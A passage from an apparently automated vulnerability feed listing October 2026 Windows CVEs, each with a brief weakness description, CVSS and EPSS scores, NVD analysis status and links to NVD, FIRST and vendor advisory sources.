NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83688&date=2026-10-25
Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83682
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83682).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83682&date=2026-10-25).
Sources:
NVD CVE-2026-83682: https://nvd.nist.gov/vuln/detail/CVE-2026-83682
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83682&date=2026-10-25
Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83680
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83680).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83680&date=2026-10-25).
Sources:
NVD CVE-2026-83680: https://nvd.nist.gov/vuln/detail/CVE-2026-83680
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83680&date=2026-10-25
Heap-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83678
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83678).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83678&date=2026-10-25).
Sources:
NVD CVE-2026-83678: https://nvd.nist.gov/vuln/detail/CVE-2026-83678
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83678&date=2026-10-25
Heap-based buffer overflow in Windows TCP/IP allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83676
Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83676).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83676&date=2026-10-25).
Sources:
NVD CVE-2026-83676: https://nvd.nist.gov/vuln/detail/CVE-2026-83676
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83676&date=2026-10-25
Integer underflow (wrap or wraparound) in Windows Installer allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-83670
Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83670).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83670&date=2026-10-25).
Sources:
NVD CVE-2026-83670: https://nvd.nist.gov/vuln/detail/CVE-2026-83670
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83670&date=2026-10-25
Out-of-bounds read in Function Discovery Service (fdwsd.dll) allows an unauthorized attacker to disclose information over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83669
Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83669).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83669&date=2026-10-25).
Sources:
NVD CVE-2026-83669: https://nvd.nist.gov/vuln/detail/CVE-2026-83669
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83669&date=2026-10-25
Use of uninitialized resource in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83659
Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83659).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83659&date=2026-10-25).
Sources:
NVD CVE-2026-83659: https://nvd.nist.gov/vuln/detail/CVE-2026-83659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83659&date=2026-10-25
Improper link resolution before file access ('link following') in Windows User Profile Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83655
Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83655).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83655&date=2026-10-25).
Sources:
NVD CVE-2026-83655: https://nvd.nist.gov/vuln/detail/CVE-2026-83655
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83655&date=2026-10-25
Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83654
Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83654).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83654&date=2026-10-25).
Sources:
NVD CVE-2026-83654: https://nvd.nist.gov/vuln/detail/CVE-2026-83654
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83654&date=2026-10-25
Missing authentication for critical function in Windows Modern Device Management (MDM) allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83652
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83652).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83652&date=2026-10-25).
Sources:
NVD CVE-2026-83652: https://nvd.nist.gov/vuln/detail/CVE-2026-83652
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83652&date=2026-10-25
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83650
Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83650).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83650&date=2026-10-25).
Sources:
NVD CVE-2026-83650: https://nvd.nist.gov/vuln/detail/CVE-2026-83650
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83650&date=2026-10-25
Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83647
Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83647).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83647&date=2026-10-25).
Sources:
NVD CVE-2026-83647: https://nvd.nist.gov/vuln/detail/CVE-2026-83647
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83647&date=2026-10-25
Out-of-bounds read in Active Directory Domain Services allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83644
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83644).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83644&date=2026-10-25).
Sources:
NVD CVE-2026-83644: https://nvd.nist.gov/vuln/detail/CVE-2026-83644
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83644&date=2026-10-25
Use after free in Windows Audio Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83643
Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83643).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83643&date=2026-10-25).
Sources:
NVD CVE-2026-83643: https://nvd.nist.gov/vuln/detail/CVE-2026-83643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83643&date=2026-10-25
Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83642
Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83642).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83642&date=2026-10-25).
Sources:
NVD CVE-2026-83642: https://nvd.nist.gov/vuln/detail/CVE-2026-83642
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83642&date=2026-10-25
Access of resource using incompatible type ('type confusion') in DNS Server allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83641
Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83641).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83641&date=2026-10-25).
Sources:
NVD CVE-2026-83641: https://nvd.nist.gov/vuln/detail/CVE-2026-83641
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83641&date=2026-10-25
Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-83640
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83640).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83640&date=2026-10-25).
Sources:
NVD CVE-2026-83640: https://nvd.nist.gov/vuln/detail/CVE-2026-83640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83640&date=2026-10-25
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83638
Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83638).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83638&date=2026-10-25).
Sources:
NVD CVE-2026-83638: https://nvd.nist.gov/vuln/detail/CVE-2026-83638
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83638&date=2026-10-25
Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83637
Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83637).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83637&date=2026-10-25).
Sources:
NVD CVE-2026-83637: https://nvd.nist.gov/vuln/detail/CVE-2026-83637
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83637&date=2026-10-25
Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83588
Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83588).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83588&date=2026-10-25).
Sources:
NVD CVE-2026-83588: https://nvd.nist.gov/vuln/detail/CVE-2026-83588
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83588&date=2026-10-25
Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83587
Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83587).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83587&date=2026-10-25).
Sources:
NVD CVE-2026-83587: https://nvd.nist.gov/vuln/detail/CVE-2026-83587
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83587&date=2026-10-25
Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83585
Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83585).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83585&date=2026-10-25).
Sources:
NVD CVE-2026-83585: https://nvd.nist.gov/vuln/detail/CVE-2026-83585
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83585&date=2026-10-25
Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83583
Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83583).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83583&date=2026-10-25).
Sources:
NVD CVE-2026-83583: https://nvd.nist.gov/vuln/detail/CVE-2026-83583
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83583&date=2026-10-25
Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83580
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83580).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83580&date=2026-10-25).
Sources:
NVD CVE-2026-83580: https://nvd.nist.gov/vuln/detail/CVE-2026-83580
